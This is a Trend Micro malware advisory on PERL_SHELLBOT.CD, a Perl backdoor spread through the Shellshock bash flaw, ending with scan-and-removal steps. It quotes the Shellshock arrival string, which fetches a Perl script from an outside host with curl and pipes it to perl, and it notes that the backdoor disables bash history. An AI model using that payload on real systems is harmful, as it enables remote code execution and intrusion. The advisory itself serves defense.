Analysis by: Mark Joseph Manahan
ALIASES:

Perl/BackDoor-CXY.gen (McAfee), Backdoor:Perl/Small.B (Microsoft)

 PLATFORM:

Unix, Linux, Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Backdoor

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.

  TECHNICAL DETAILS

File Size: 635 bytes
File Type: Script
Memory Resident: Yes
Initial Samples Received Date: 27 Sep 2014
Payload: Compromises system security

Arrival Details

This malware arrives via the following means:

  • BashBug/Shellshock / CVE-2014-6271
  • --> ( :;); /bin/bash -c "curl hxxp://r.cc.st/bc.pl | perl"

Backdoor Routine

This backdoor executes the following commands from a remote malicious user:

  • Remote Shell Command

It connects to the following websites to send and receive information:

  • {BLOCKED}.{BLOCKED}.198.65:443

NOTES:
It disables Bash History Logging to remove traces of the modifications and actions it executes in the affected user's machine.

  SOLUTION

Minimum Scan Engine: 9.700
FIRST VSAPI PATTERN FILE: 11.176.03
FIRST VSAPI PATTERN DATE: 27 Sep 2014

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as PERL_SHELLBOT.CD If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


Did this description help? Tell us how we did.